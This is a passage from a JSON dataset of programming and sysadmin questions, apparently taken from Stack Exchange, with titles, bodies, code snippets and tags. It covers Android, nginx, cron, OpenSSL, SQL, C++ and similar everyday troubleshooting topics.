nsete al\n", "c++ performance assembly machine-code"], "4859721": ["how to use
Kinetic AbsolutePosition property", "I want to understand how I would draw a line
between two shapes that are nested in other groups/layers. Here is a jsfiddle
example which illustrates what I mean. As you can tell, when the coordinates in use
are in the same layer, it is trivial to draw line. When the coordinates are nested
inside other groups/layers, then the outcome is not as expected. Try moving the
right box around to see the less than desirable results. \nCould someone please
show me how I translate coordinates from one layer into that of another.\n", "",
"javascript html5-canvas kineticjs"], "5017909": ["What should I do to avoid
switching lenses?", "I'm thinking of buying a telephoto lens for my Canon 550D (3x
zoom isn't very helpful), but I won't be able to do very good macro shots with it.
Since I do a lot of both, I would be switching lenses quite often, which isn't too
good for the camera.\nMy question is, what should I do if I want to take different
kinds of pictures and keep my camera clean on the inside? I was hoping that there
exists a lens with over 12x zoom which can also do fairly good macro shots, but I
might just be wanting too much ;)\n", "", "lens macro telephoto"], "5629411":
["findViewById returns null on a LinearLayout inside an <include>d view", "I cannot
figure out mistake here. I may be oevrlooking some thing...\nLayout XML:\n\
nIncluded header XML:\n\nList Activity java code:\n\nIf I remove the check , I get
pointer exception on.\nI am able to get in function but some how cannot get \nCan
any one help me in figuring out what is wrong with the code...\n", "<LinearLayout
xmlns:android=\"http://schemas.android.com/apk/res/android\"\n
android:id=\"@+id/listLayout\"\n android:layout_width=\"fill_parent\"\n
android:layout_height=\"fill_parent\"\n android:background=\"#ffffff\"\n
android:orientation=\"vertical\" >\n\n <include\n
android:id=\"@+id/headerInclude\"\n android:layout_width=\"fill_parent\"\n
android:layout_height=\"38dp\"\n android:layout_gravity=\"top\"\n
layout=\"@layout/header\" />\n\n <LinearLayout\n
android:id=\"@+id/actualView\"\n android:layout_width=\"fill_parent\"\n
android:layout_height=\"fill_parent\"\n
android:layout_marginBottom=\"10dp\"\n android:layout_marginTop=\"10dp\"\n
android:layout_weight=\"1\" >\n\n <ListView\n
android:id=\"@android:id/list\"\n android:layout_width=\"fill_parent\"\n
android:layout_height=\"fill_parent\"\n
android:divider=\"@drawable/dotted_line\"\n
android:dividerHeight=\"2dp\"\n android:drawSelectorOnTop=\"false\"\n
android:paddingBottom=\"10dp\"\n android:paddingTop=\"10dp\" />\n
</LinearLayout>\n\n <include\n android:layout_width=\"fill_parent\"\n
android:layout_height=\"35dp\"\n android:layout_gravity=\"bottom\"\n
layout=\"@layout/footer\" />\n\n</LinearLayout>\n", "android include
nullpointerexception android-linearlayout"], "1833129": ["nginx server_name based
on $hostname", "Based on the nginx wiki the $hostname variable is \"Set to the
machine's hostname as returned by gethostname \". I tried that and although
gethostname doesn't work my debian box it still returns the host correctly.\nThen I
tried to use that variable $hostname to set the server_name, but that didn't work.
Why is that and is there another way I can accomplish that. \n\n", "server {\n
listen 80;\n\n autoindex off;\n\n server_name static.$hostname;\n root
/var/www/static;\n\n access_log /var/log/nginx/localhost.access.log;\n\n
location / {\n index index.html;\n }\n\n error_page 404 /404.html;\
n error_page 500 502 503 504 /50x.html;\n}\n", "nginx hostname"], "239998":
["how to handle screen resolutions and screen sizes, one app", "I have been trying
to figure this out but I really dont get it..\nIf I want to create one app with one
layout thats supposed to fit all android devices (by scaling).. how can I achive
this?.. For instance.. I might have an editText thats 300dp, that will look great
on my Samsung Galaxy S2.. but if I run the same app at my nexus 10, it will look
very small, and I whould then like the editText to scale up on both width and
height to fit my nexus 10.. is there any simple way to achive this?\nI noticed that
there is something called weight.. but if i created three editTexts where the first
one had a weight of 10,the 2:nd a weight of 20 and then 3:rd a weight of 80, the
last one never showed up...\nAnyway.. how do you handle this stuff by best
practice?\n", "", "android phone nexus-10"], "5914427": ["Invalid URL that works in
staging server but fails in production", "I just spent a whole night figuring out
why our production server had a bug that was missed in our staging servers. And
this morning, I finally narrowed it down and nailed it to this piece of code:\n\
nYeah. How on earth could this actually work? Well, in staging it showed:\n\nBut in
master it showed\n\nThe former worked, but the latter didn't. This is where my
knowledge on URLs fail me. How on earth is the former valid but the latter not? \
nEDIT:\nTo be clear, I think both URLs should be invalid, that this is a bug that
should be caught in my staging server. I just want to know why the former URL
(:localhost) is interpreted as valid but the latter isn't.\n", "url =
[ database.protocol, '//' + database.host, database.port, ].join(':');\nurl =
[ url, database.db ].join('/');\n", "javascript url join"], "170281": ["Cannot
retrieve a Google Profile for editing", "I'm trying to retrieve a Google Profile
for editing from the Profile API using the C# .NET GData SDK but authentication
seems to be failing. I'm using a number of other Google API's and can authenticate
with them just fine and am using the same code approach:\n\nI get the following
exception:\n\nGoogle.GData.Client.GDataRequestException: Execution of request\n
failed:\n https://www.google.com/m8/feeds/profiles/domain/xxx/full/joe.bloggs\n
---> System.Net.WebException: The remote server returned an error: (401)
Unauthorized.\n\nOn the advice of Google Enterprise support I used their OAuth2
Playground site using the same credentials as in the code and it worked.\nMy guess
is that the SDK whilst taking in a username and password does not use these
credentials in the RequestSettings object and authentication is failing, even
though this same approach works on their Provisioning API.\nMy fear is that I need
to use OAuth2, which seems unecessarily complicated for what we're trying to do and
there's no Google documentation to support this.\nDoes anyone have any code
examples of how to authenticate with the Profiles API?\nEdit:\nSo yes, it seems I
have to use OAuth2 and the Google SDK is broken as it doesn't allow you to just use
username and password to authenticate. I've been hacking around with a lot of
examples and am using another Google SDK that offers OAuth2 support.\nI've created
a Client ID for
installed applications via the API console, assigned this id API access to the
scope and am using the following code:\n\nThis gets me further along, but now I get
the following exception:\n\nSystem.ArgumentNullException: Value cannot be null.
Parameter name:\n refresh_token\n\nThis code is running as part of a back-end
service. I don't know if the client id type of Installed Application is wrong for
the type of authentication exchange. My first thought was to use the Service
Account client id type, but this produced a certificate which isn't usable by the
OAuth2Parameters object.\nAny helpful pointers?\n", "var settings = new
RequestSettings(\"appname\", ApiUsername, ApiPassword);\nvar contactsRequest = new
ContactsRequest(settings);\nvar uri = new
Uri(string.Format(\"https://www.google.com/m8/feeds/profiles/domain/{0}/full/{1}\",
googleDomain, googleUsername));\nvar contact =
contactsRequest.Retrieve<Contact>(uri);\n", "c# google-apps"], "3043063": ["how to
receive a vlc flow in a socket?", "I'm developping a streaming application with
tcl.\nI have a vlc sever that broadcast a flow in http mode. what I'm trying to do
is to develop a client who will try to connect to server with a particular ip
adress and port number, and then try to save the flow in a file.\nthe code that i'm
using is simple:\n\nthe problem when i try to test my script, I see that I realise
the connection, but I can't read the flow!\nthe 'puts' doesn't show anything in the
console...\nHave you any ideas!\nthank you..\n", "set server localhost\nset
sockChan [socket $server 1234]\nset line [read $sockChan 1000]\nputs \" vid\u00e9o:
$line\"\nclose $sockChan\n", "sockets tcl vlc"], "652367": ["How to create a csv
and attach to email and send in c#", "This is how i am currently creating a table
and sending it in an email. What i would like to do is instead of creating a table
and sending it as text in the email i would like to create a csv file and attach it
to this email and then send this. could someone please help show me how this can be
done? thanks\n\n", "using (MemoryStream stream = new
MemoryStream(Encoding.ASCII.GetBytes(csv)))\n {\n try\n {\n
string to = \"\";\n string from = \"\";\n string subject
= \"Order\";\n string body = sb.ToString();\n SmtpClient
SMTPServer = new SmtpClient(\"127.0.0.1\");\n MailMessage mailObj = new
MailMessage(from, to, subject, body); \n mailObj.Attachments.Add(new
Attachment(stream, new ContentType(\"text/csv\")));\n mailObj.IsBodyHtml
= true;\n SMTPServer.Send(mailObj);\n }\n catch (Exception
ex)\n { return \"{\\\"Error\\\":\\\"Not Sent\\\"}\"; }\n }\n", "c# .net
email csv .net-2.0"], "3162286": ["silverlight pivotviewer control does not display
tiles", "I have a silverlight pivotviewer control which is correctly loading
the .cxml file and then requesting the appropriate .dzc file and the facets are
populated and I can see how many items I have as well as search them, but no tiles
are displayed in the main view area. I looked at the output and saw these binding
errors:\n\n\"LayoutEngine\" seems like it would be related but I have no idea why
the supplied control would have binding issues. Any ideas?\n",
"System.Windows.Data Error: BindingExpression path error: 'ViewportPadding'
property not found on
'Microsoft.Pivot.Internal.ViewModels.CollectionViewerViewModel'
'Microsoft.Pivot.Internal.ViewModels.CollectionViewerViewModel'
(HashCode=65819928). BindingExpression: Path='ViewportPadding'
DataItem='Microsoft.Pivot.Internal.ViewModels.CollectionViewerViewModel'
(HashCode=65819928); target element is
'Microsoft.Pivot.Internal.Controls.SeahorseItemExitHost' (Name='PART_ExitHost');
target property is 'Margin' (type 'System.Windows.Thickness')..\
nSystem.Windows.Data Error: BindingExpression path error: 'LayoutEngine' property
not found on 'Microsoft.Pivot.Internal.ViewModels.CollectionViewerViewModel'
'Microsoft.Pivot.Internal.ViewModels.CollectionViewerViewModel'
(HashCode=65819928). BindingExpression: Path='LayoutEngine'
DataItem='Microsoft.Pivot.Internal.ViewModels.CollectionViewerViewModel'
(HashCode=65819928); target element is
'Microsoft.Pivot.Internal.Controls.SeahorseItemExitHost' (Name='PART_ExitHost');
target property is 'LayoutEngine' (type
'Microsoft.Pivot.Internal.ItemLayouts.ILayoutEngine')..\nSystem.Windows.Data Error:
BindingExpression path error: 'PositionInWindow' property not found on
'Microsoft.Pivot.Internal.ViewModels.CollectionViewerViewModel'
'Microsoft.Pivot.Internal.ViewModels.CollectionViewerViewModel'
(HashCode=65819928). BindingExpression: Path='PositionInWindow'
DataItem='Microsoft.Pivot.Internal.ViewModels.CollectionViewerViewModel'
(HashCode=65819928); target element is
'Microsoft.Pivot.Internal.Controls.SeahorseItemExitHost' (Name='PART_ExitHost');
target property is 'PositionInWindow' (type 'System.Windows.Point')..\n",
"silverlight pivot"], "4859530": ["How can I know why child processes are put to
sleep?", "I have a PHP script that launches N child processes to process a large
amount of files. For some reason, some of the child processes are put to sleep by
the opreating system and wake up a couple of minutes later.\nIs there a way to know
why this is happening, and/or avoid it?\nThis is the part of the script that
generates the child processes:\n\n", "for($i = 0; $i < count($chunkarray); $i++) {\
n $pids[$i] = pcntl_fork();\n\n if(!$pids[$i]) {\n
$oDBM=PFDBManager::newconnection('mysql',DB_SERVER,DB_USER,DB_PASS,DB_NAME,false,tr
ue); \n $oObj=new TimelineManager($oDBM,900+$i); \n while($filename =
array_pop($chunkarray[$i]) )\n {\n
$file=substr($filename,0,strpos($filename,\".dat\"));\n\n $ok=$oObj-
>analyze($file); \n\n if($ok){\n $partialsum = $partialsum + 1;\n
} \n else{\n echo $file.' could not be
processed',PHP_EOL,print_r(array_pop($oObj->aErrors),true),PHP_EOL;\n }\n
}\n echo $partialsum.' files analyzed', PHP_EOL; \n exit($partialsum);\
n }\n\n}\n\nfor($i = 0; $i < count($chunkarray); $i++) {\n
pcntl_waitpid($pids[$i], &$status);\n $partialsum = $partialsum +
(pcntl_wexitstatus($status));\n}\n", "php fork sleep"], "2130435": ["How to create
a cron job that executes shell script that writes in text file", "I have created a
Shell Script as below\nSample.sh\n\n echo \"Hi there\"\n\nI also added cron job in
cron tab which is under /etc/crontab as below\n\n* * * * * /home/Sample.sh >
/home/Sample.txt\n\nI have created the Sample.txt file in /home/ directory.\nI have
also checked the permission for read and write for both the file\nWhen I execute
the Sample.sh file it works fine.it writes in Sample.txt file\nNow I don't
understand why it is not writing in the Text file from the cron task i scheduled\nI
am using Ubuntu 10.04 \nPlease Help me in fixing this issue\n", "", "ubuntu cron
crontab ubuntu-10.04 cron-task"], "673261": ["Can \"belongs_to\" be defined more
than once in Active_Record?", "I am trying to write a database for a company in
town. I am using Devise for authentication, and Forem for the forums of the site. I
decided to just have one class, \"Account\" for the Devise authentication, which
will have many different access types to the site.\nThe bulk of the users will be
just customers, which are segregated by routes (not Rails routes, street routes).
So I decided to have them have their own profile model.\nI want to do this -
Profile is linked to account, and to route. (Routes are named gmr_routes)\nIs this
code the proper way to do it? Documentation I've found hasn't told me I can't, but
I just want to be sure....\n\nAccount has a has_one relationship with Profile, and
gmr_route has a has_many.\nIs this right?\nBryan\n", " class Profile <
ActiveRecord::Base\n
attr_accessible :first_name, :last_name, :phone_number, :street_address\n
belongs_to :account\n belongs_to :gmr_route\n end\n", "ruby-on-rails-3
database-design activerecord orm forums"], "5887111": ["valid variable capture from
lambda", "I'm wondering if the following style of capture by reference is valid:\n\
nAs you see, i'm capturing a reference to an object being constructed when the
lambda is passed. It would seem that if the lambda is called before the constructor
fully executes you are accessing a partially constructed object and you get all the
danger that represents.\nHowever, is this allowed? it would seem that as long as
you make sure you understand when the lambda can be called you should be fine\n",
"struct Foo {\n Foo( boost::function<void()> v);\n\n int get() const;\n};\n\nint
main() {\n Foo instance( [&]() -> void { int value = instance.get(); .... } );\n",
"c++ lambda pass-by-reference c++11"], "5546331": ["How to get NONE existing
records from 2 entities", "I have 2 entities in CRM, many-1 relationship.\nEntity
A, Entity B -- 1-many\nHow can I write FetchXML to get all records that are not in
entity B\nThanks,\n", "", "dynamics-crm fetch"], "3587770": ["Best Place To
Populate ViewModels For Partials?", "Currently I am using a ViewModelFactory
hanging off HtmlHelper in an extension method:\n\nAnd then an example view with
partial:\n\nIs this a bad idea? It feels dirty. If so, where/how is the testable
best practice to populate/build ViewModels for my Partials?\n", "public static
IViewModelFactory ViewModels(this HtmlHelper helper)\n{\n var factory =
DependencyResolver.Current.GetService<IViewModelFactory>();\n return factory;\n}\
n", "asp.net-mvc viewmodel"], "5088270": ["Console application doesn't
print \"Press any key to continue . . .\"", "I have third-party SDK code samples
written in C++ (Console applications). When I run any of them from Visual Studio
2010 (Start without Debugging), it doesn't print \"Press any key
to continue . . .\" in the end, Console window is just closed.\nHow did they
manage to get such behavior? More important: how can I get standard \"Press any key
to continue . . .\" in the end? Of course, without changing the program code...\n",
"", "c++ visual-studio-2010 console-application"], "3070054": ["Connecting any
two(multiple) forms based on the event triggered", "I have a mainwindow with
pushbutton1 and a subwindow with pushbutton2.When I click the pushbutton1 on my
mainwindow I should show my subwindow while hiding the mainwindow.Similarly when I
click the pushbutton2 on subwindow,I should close the subwindow and come back to my
mainwindow.\nAlso how can I get some event from another program or file and connect
it here?\nAm using QtCreator2.0 with ubuntu 10.10.AnY help or advice are greatly
accepted.\nThanks in advance.\n", "", "c++ events qt4 qt-creator"], "2743934":
["How to change current working directory inside command_not_found_handle", "I'm
trying to write a not found handle in Bash that does the following:\n\nIf $1 exists
and it's a directory, into it.\nIf $1 exists inside a user defined directory , `cd
into it.\nIf the previous conditions don't apply, fail.\n\nRight now I have
something like this:\n\nAnd although it seems to be working (the command prints
the expected dir), the directory in the actual shell does not change. \nI was under
the impression that since this is a function inside my the shell wouldn't fork and
I could do the but apparently that's not working. Any tips on how to solve this
would be appreciated.\n", "cd", "bash shell sh bash4"], "4369373": ["WPF ListView
confusing the SelectedItem with equal items", "A ListView (or ListBox) with
following properties:\n\nwill result in selecting two items simultaneously if I
click on \"James\", even though\nI chose SelectionMode=\"Single\". It's even the
same behaviour when I use a helper class with\na string-property to display in the
ListView. It seems like the ListView is evaluating the Items and selecting those
which are Equal() rather than ReferenceEqual(). Is there a way to change this
behaviour so that the ListView treats every item individually?\n", " <ListView
SelectionMode=\"Single\">\n <sys:String>James</sys:String>\n
<sys:String>Claude</sys:String>\n <sys:String>Justing</sys:String>\n
<sys:String>James</sys:String>\n </ListView>\n", "c# .net wpf vb.net
silverlight"], "5942527": ["Obtaining GCC for OSX with Developer Tools installed",
"I want to start working with C++0x. I see that GCC 4.7 has a fair amount of
functionality available. I already have XCode 3.2 installed in /Developer\nI
downloaded: http://fileboar.com/gcc/snapshots/LATEST-4.7/gcc-4.7-20110528.tar.bz2\
nCan I somehow compile this in /opt/gcc-4.7? How do I then work with my path so I
can compile with GCC 4.7 from the command-line but have OSX use the version it
needs?\n", "", "osx gcc"], "101653": ["Editing Exim's Banner", "Is there a way to
place EXIM smtp banner on 1 line instead of 3 lines? The banner starts with 220.
I've been searching but can not find a way. \nunder /etc/exim.conf I have\n\ndo i
make that one line?\n", "#todd host's\nsmtp_banner = \"${primary_hostname} ESMTP
Exim ${version_number} \\\n\\#${compile_number} ${tod_full} \\n\\\n We do not
authorize the use of this system to transport unsolicited, \\n\\\n and/or bulk e-
mail.\"\n", "linux email smtp exim"], "3906314": ["unable to push items in vector
and list in C++?", "This is a basic merge sort program:\nThe problem is when I try
to push item in to \"vector merged\", nothing happens.\n (Please refer the gdb data
below the code)\n\n//===================================GDB
DATA===================================\n\nCould anyone give me a hand??\n",
"vector<long> merge(vector<long> &L, vector<long> &R){\n\n int i = 0;\n int j =
0;\n vector<long> merged;\n\n while((i < L.size())&&(j < R.size())){\n if
((L[i] <= R[j])){ \n merged.push_back(L[i]); \n i++;\n }else{\n
merged.push_back(R[j]);\n j++;\n }\n\n while(i < L.size())\n {\n
merged.push_back(L[i]);\n i++;\n }\n\n while(j < R.size())\n {\n
merged.push_back(R[j]);\n j++;\n }\n return merged;\n\n }\n}\n", "c++
gdb stdvector"], "641733": ["Eliminating CSS warnings in Visual Studio when class
is used via jquery", "I have a few places where I use a class via jquery - for
example, to add the datepicker to a text file, my textbox declaration looks like:\
n\nHowever, this leads to a warning in VS2008 that the datePicker \"class or
CssClass value is not defined\"\nI doesn't feel right to create an emply CSS class
just to elminiate this warning. Is there another way to do it?\n", "<asp:TextBox
ID=\"dateField\" runat=\"server\" CssClass=\"fieldSmall datePicker\" />\n", "jquery
css visual-studio-2008 warnings"], "641732": ["Conditional Array... elegant way to
do that", "I have this array where several elements must be added or not depending
on certain conditions. Normally I would do something like that:\n\nbut this appears
confusing and complex. \nI can imagine several methods I could create to do that,
but this would involve passing a dictionary, an array of objects and conditions,
etc., but all appear more lame and more complex than this.\nHow do you guys would
do that in a more elegant way?\n", "NSMutableArray *myArray = [[NSMutableArray
alloc] init];\n[myArray addObject:@\"aaa\"];\n[myArray addObject:@\"bbb\"];\n\nif
(flag)\n [myArray addObject:@\"flag\"];\n\nif (box)\n [myArray
addObject:@\"box\"];\n\n[myArray addObject:@\"xxx\"];\n\nif (x > 5)\n [myArray
addObject:@\"smaller\"];\n\nif ([self isMenuVisible])\n [myArray
addObject:@\"menu\"];\n\n... etc.\n", "objective-c nsmutablearray"], "3928703":
["Recursive definition for $S = \\left\\{{(a,b) \\mid a \\in \\mathbb{Z}^+, b \\
in\\mathbb{Z}^+ \\text{ and } a + b \\text{ is odd}}\\right\\}$", "Give a recursive
definition of each of these sets of ordered pairs of positive integers. [Hint: Plot
the points in the set in the plane and look for lines containing points in the
set.\n$S = \\left\\{{(a,b) \\mid a \\in Z^+, b \\in Z^+ \\text{ and } a + b \\text{
is odd}}\\right\\}$\nDoes this work?\n$(1,2) \\in A$\n$(2,1) \\in A$\nif $(a, b) \\
in A$ s.t. $a = 2k + 1$ where $k$ is a constant and a and b are integers, then $(a
+ 2, b) \\in A$\nif $(a, b) \\in A$ s.t. $a = 2k + 1$ then $(a, b + 2) \\in A$\nI
think the above gives me all the pairs where $a$ is odd $b$ is even. \nif $(a,
b) \\in A$ s.t. $a = 2m$ (where $m$ is a constant) then $(a + 2, b) \\in A$\nif $
(a, b) \\in A$ s.t. $a = 2m$ then $(a, b + 2) \\in A$\nI think these two
conditionals give me all the pairs where $a$ is even and $b$ is odd. \n", "",
"homework recursion"], "4472801": ["How do I check if a sequence exists or not in
Oracle 11g?", "I am using Oracle 11g. I want to be able to determine whether a
particular sequence exists or not. I have tried the code below but it is not
working. (It is returning 0 as count value when there should be more):\n\nIf anyone
knows why this is, please help me.\n", "SELECT COUNT(*)\nFROM user_sequences\nWHERE
sequence_name = 'MP.SEQ_SSO_KEY_AUTHENTICATION';\n", "oracle oracle11g sequence"],
"627969": ["php join 2 tables by date problem", "So i have 2 tables which does not
have any column in common and i want to store them by their date column\nSo table1
is like:\ntable1\n\nid\npost_id\npost_date\n\ntable2\n\nid\ncomment_id\
ncomment_date\n\nwhat i want to show is everything from table1,table2 and sort it
by date\ni tried something like\n\nthe problem is that i dont know how to identify
which item(post or comment) i am using inside the while(rows = mysql_fetch_assoc())
since i have different column names.\nSolution was:\n\n", "SELECT * FROM table1
INNER JOIN table2 ORDER BY post_date DESC, comment_date DESC\n", "mysql join"],
"1547751": ["Choosing a Wiki for an academic institute", "I need to choose a Wiki.
Please someone help. Following are my requirements:\n1) Need good control to the
access variables\n2) LDAP integration support\n3) User Group Support\n4) Good
Themes and Templates\nMediawiki has the problem that it does not support Users
Groups that intutively. Twiki and Foswiki have a problem that any authenticated
user that has write permissions for a topic also have the write to change the
particualar permissions for the topic.\nElse, can someone suggest me where to look
for the answer. I know about the WikiMatrix\n", "", "wiki mediawiki"], "4176857":
["Can anyone think of an innovative use for 100 units of 43Gb SCSI Ultra hard disk
drives?", "These SCSI hard disks (4.3Tb total) were pulled from a decommissioned
EMC storage array. The obvious use would be 200 very strong fridge magnets... but
there may be a more dignified way to retire them? (That is, short of just throwing
them into a dumpster!) Any hints?\n", "", "hard-drive san scsi emc disposal"],
"3527639": ["Is there a way to set the BackgroundColor for a RadioGroup?", "I am
using MonoTouch.Dialog to create a settings-like page. The linq below creates a
set of RootElements, each with one section that has a set of RadioEventElements (a
subclass of RadioElement that I created in order to add an OnSelected event).\n\
nOne of the settings I implement is a \"Theme\" - which currently is simply a
background color for the various screens in the app. I can style every one of the
pages correctly by setting the TableView.BackgroundColor property to the desired
color... Except for new DialogViewControllers that are automatically created and
pushed by the parent DialogViewController when it navigates into a radio group.\nIs
there any way to style (or at least set the background color) of this child
DialogViewController?\n", " // initialize other phone settings by creating a
radio element list for each phone setting\n var elements = (from ps
in PhoneSettings.Settings.Keys select (Element) new RootElement(ps, new
RadioGroup(null, 0))).ToList();\n\n // loop through the root elements we
just created and create their substructure\n foreach (RootElement
rootElement in elements)\n {\n rootElement.Add(new Section()\n
{\n (from val in PhoneSettings.Settings[rootElement.Caption].Values
select (Element) new RadioEventElement(val.Name)).ToList()\n });\n
// ...\n } \n", "ios monotouch monotouch.dialog"], "4002590": ["Fluent
NHibernate and lazy load", "I have some questions about about lazy loading\nWhen I
have mapped my objects, I write everywhere in my application and it works good.
But I have some problems. \nExample: I have a class . It has properties and .
Mapping in :\n\nWhich works good, but everywhere I load , get loaded with it,
which is bad... Example of load :\n\nIf the user has a lot of comments my
application works bad...\nThe question is how do I enable LazyLoad if needed? Or
how do I disable Lazy loading, if I don't write ?\n", ".Not.LazyLoad()", "c# .net
session fluent-nhibernate lazy-loading"], "5171177": ["seteuid() for non-root
user", "On rhel5-6 I need to find a way to effectively call seteuid() for a process
as a user that is not a super-user. In addition, I would also like to be able to
control which uids for which calls to seteuid() will be successful, for a given
user. I'm fairly certain that nothing like this is baked in to rhel, and I've been
told that it is impossible without creating a kernel module. Is anyone aware of
such a module already in development?\nEDIT: The purpose of setting the effective
uid of a process (without forking) is to write files owned by other users in the
same group from a generic process (rather than forking and sudo-ing).\n", "",
"linux sudo kernel-modules"], "4437782": ["Retrieving next available AutoNumber",
"I am busy with a school project where I query a database based on a server from a
client. One of the requirements is to retrieve the next available from the
database.\nWhat would the SQL query be to retrieve the next available ? Is it
possible to do this?\n", "AutoNumber", "java sql homework ms-access sequences"],
"1718499": ["Why can't I encrypt with OpenSSL?", "I'm having trouble creating a
public/private key pair and using it to encrypt a file.\nFirst I generate the
private key:\n\nThen I extract the public key:\n\nso that I can encrypt my file:\n\
nbut then I'm told:\n\nI don't understand... why is it trying to load a private
key? How do I encrypt a file using the public key?\n", "openssl genrsa -out
private.pem 2048\n", "encryption openssl rsa"], "2785523": ["Resize custom menu
item", "I need help to re-size my current menu item. I created a custom menu with
programmatically added items in a . This is my current menu:\n\nI need to change
the height of the first menu. Now the problem is that when I change the height of
the first menu item the entire menu changes its height. I want menu like this:\n \
nIs there any way to re-size my current item?\n\nif i give background to entire row
than result\n\nif give background to layout(each menu item) by this line
itemLayout.setBackgroundResource(R.drawable.menubackground);\n\nBut i want look
like this menu\n\n", "TableLayout", "android customization android-menu"],
"1457902": ["How do I match a wildcard host in ACL lists in HAproxy?", "I have the
following lines in my haproxy.conf:\n\nHow do I match any subdomain?\nI tried:\n \
nand:\n \n... But neither worked.\nThanks\n", "acl valid_domains hdr(Host) -i
mysite.com images.mysite.com docs.mysite.com admin.mysite.com\nredirect location
http://mysite.com/invalid_domain if !valid_domains\n", "haproxy acl regex"],
"658023": ["How to pass double[][] into a method call?", "Hi I am trying to init an
object with a double value in the format double filter[3][3];\nbut i keep getting
the following error.\ncannot convert 'double[3][3]' to 'double' in assignment.\nin
my header i have this\n\ninside my class i have this method.\n\nand i am trying to
call it like this.\n\nI now get the error.\n\nAny help on this issue would be
amazing.\nThanks\nA\n", "@interface filter : NSObject\n{\n double **matrix;\n}\
n@property(nonatomic)double **matrix;\n-(id)initWithMatrix:(double**)filterMatrix;\
n", "iphone objective-c"], "610147": ["Returning the current project status (i.e.,
most recent date on Django ManyToMany relationship)", "Schema Description\nA
project's status can change over time. In order to track the status over time, I've
created a many-to-many relationship between the model and the model through the
intermediary table. \nWhile this allows tracking a project's status over time, it
increases the complexity of the schema such that retrieving the current status of a
project or retrieving all open projects is more difficult.\n\nUse Case\nI want to
be able to return all projects that are in a given state, such as all projects.
For instance, when users go to http://www.example.com/projects, I'd like only the
projects to be displayed in a table by default.\nQuestions\n\nShould I denormalize
the schema and add a field in the model?\nIf I shouldn't denormalize, what
strategy should I use to retrieve the current status for each project? Should I
create a property on the model that retrieves the current status?\n\n", "Project",
"django database-design django-models database-schema"], "4231387": ["iphone -
MPMoviePlayerController - How to write code that works on older versions of iOS
also", "I'm using MPMoviePlayerController in my application.\nWhen I ran the
application on iOS 4.2 device, its working fine.\nBut when running on iOS 3.1.3
device its crashing saying that duration, controlStyle etc are not available in
older iOS SDK. I set the target deployment device to 3.1.\nIts building well. \
nWhat should I do to make my app play video on latest as well as old iOS.\n", "",
"iphone mpmovieplayercontroller"], "1788762": ["Install Business Intelligence
studio 2008", "I need to work on SSRS and for that I would need BIDS. I have
installed SQL Server 2008 R2 Express Edition with Advanced features, also I have
VS2008 installed.\nHow can I get BIDS installed on my machine?\n", "", "sql-server
visual-studio ssrs-2008 bids"], "2769933":
["\"common_google_play_services_install_title\" error", "I am trying to export my
application which uses google play services library. But there is a lint warning
which prevents me to export the app even though I've cleaned the project. But its
running fine in the emulator.Here is the warning it shows:\n\nCan someone help me
out with this?? I'm stuck up here very badly..\n",
"\"common_google_play_services_install_title\" is translated here but not found in
default locale\nIssue: Checks for translations that appear to be unused (no default
language string)\nId: ExtraTranslation\nIf a string appears in a specific language
translation file, but there is no corresponding string in the default locale, then
this string is probably unused. (It's technically possible that your application is
only intended to run in a specific locale, but it's still a good idea to provide a
fallback.).\nNote that these strings can lead to crashes if the string is looked up
on any locale not providing a translation, so it's important to clean them up.[]\
n", "android google-play-services"], "687130": ["How do I ensure my assembly is
being used by licensed users only?", "I recently came across a program that uses a
Windows Form Control Library.\nTo use the DLL, you would add it to references and
then to make it run you would do.\n\nBasically, the DLL would open and if the
license that they entered wasn't in the database it would just close.\nHow would I
create a DLL file like this? I have no knowledge on creating a DLL file like this.\
n", "Dim DLL As New License\nIf Not DLL.Check Then End ' VB.net Code\n", ".net
licensing assemblies"], "4460002": ["error -19,0 from using Mediaplayer?", "\nDoes
any1 know why i'm getting this? This usually happens after playing about 100+ of so
audio files using mediaPLayer. I'm playing it like this\n\nAm i missing something?
Quite new to android development. Thank you\n", "E/MediaPlayer(20473): error (-19,
0)\n\nI/MyApp (20473): Decoding lala.mp3\n\nI/StagefrightPlayer( 68):
setDataSource('mypath')\n\nE/AudioFlinger( 68): no more track names available\n\
nE/AudioTrack( 68): AudioFlinger could not create track, status:
-12\n\nE/AudioSink( 68): Unable to create audio track\n", "android error-message
mediaplayer android-mediaplayer alsa"], "5642947": ["Node.js asynchronous video
conversion slow", "I wrote a little website/service, which can download a video
from a website (currently Youtube) and converts it on the fly to an mp3 file and
sends this file back as the response.\nFor example, you when you request
http://localhost:8000/v=http://www.youtube.com/watch?v=HhoewflkQu0, then it will
download this video and response the audio layer encoded in MP3.\nThis all works
very well, my problem is that this is very slow and I can't figure out why.\n\
nSimplified the script behaves like this:\nDownload the video and write it to the
stdin of ffmpeg, and the stdout goes to the response.\nVideo (MP4, FLV) -> FFMPEG -
> MP3\nI used curl to figure out how fast the script is:\n\nI get only about 5-
10k.\nSo why is this so slow?\n\nThe server, from which I am downloading the video
is slow.\nThe conversion is slow (because of a slow CPU).\nThe data transfer
between node.js -> FFMPEG is slow.\n\nI tried to download the video in a normal
download manager, and i got about 320k, which is my normal download speed, so the
first point isn't the bottleneck.\nTo point 2 and 3, I tried to write a local file
to the stdin, and I got about 600k so that isn't it either.\nSo why is my script so
slow, and what can I do
to make it faster?\nhttps://gist.github.com/1304637\nThanks in advance.\n", "$
curl http://localhost:8000/v=http://www.youtube.com/watch?v=HhoewflkQu0\n", "video
node.js asynchronous ffmpeg"], "5916700": ["get number i am calling in android", "i
need to get the number that i am calling from my android device programmatically.
what i'm doing now is the following:\ni listen for being broadcasted which means
that either i am being called or am calling (or receiving an sms etc.)\nin a
BroadcastReceiver i retrieve the extra \"incoming_number\" from the intent... so
far so good - but sadly i cannot get the number which is being called if I initiate
the call... how do i do this?\n", "android.intent.action.PHONE_STATE", "android
phone telephonymanager"], "5133087": ["Is it appropriate to run Hyper-V Server on
each desktop PC?", "I am currently designing a rollout of Windows 7 to a shop of
approximately 80-100 desks. The office is a flat network without routing between
servers and desktops. There are a few Windows Server 2008 R2 servers running a
2008 domain. Most of the workstations are newer machines that were installed with
Vista or XP for program compatibility reasons. The compatibility issue has been
resolved and the client is ready to move to Windows 7 Professional.\nAll of the
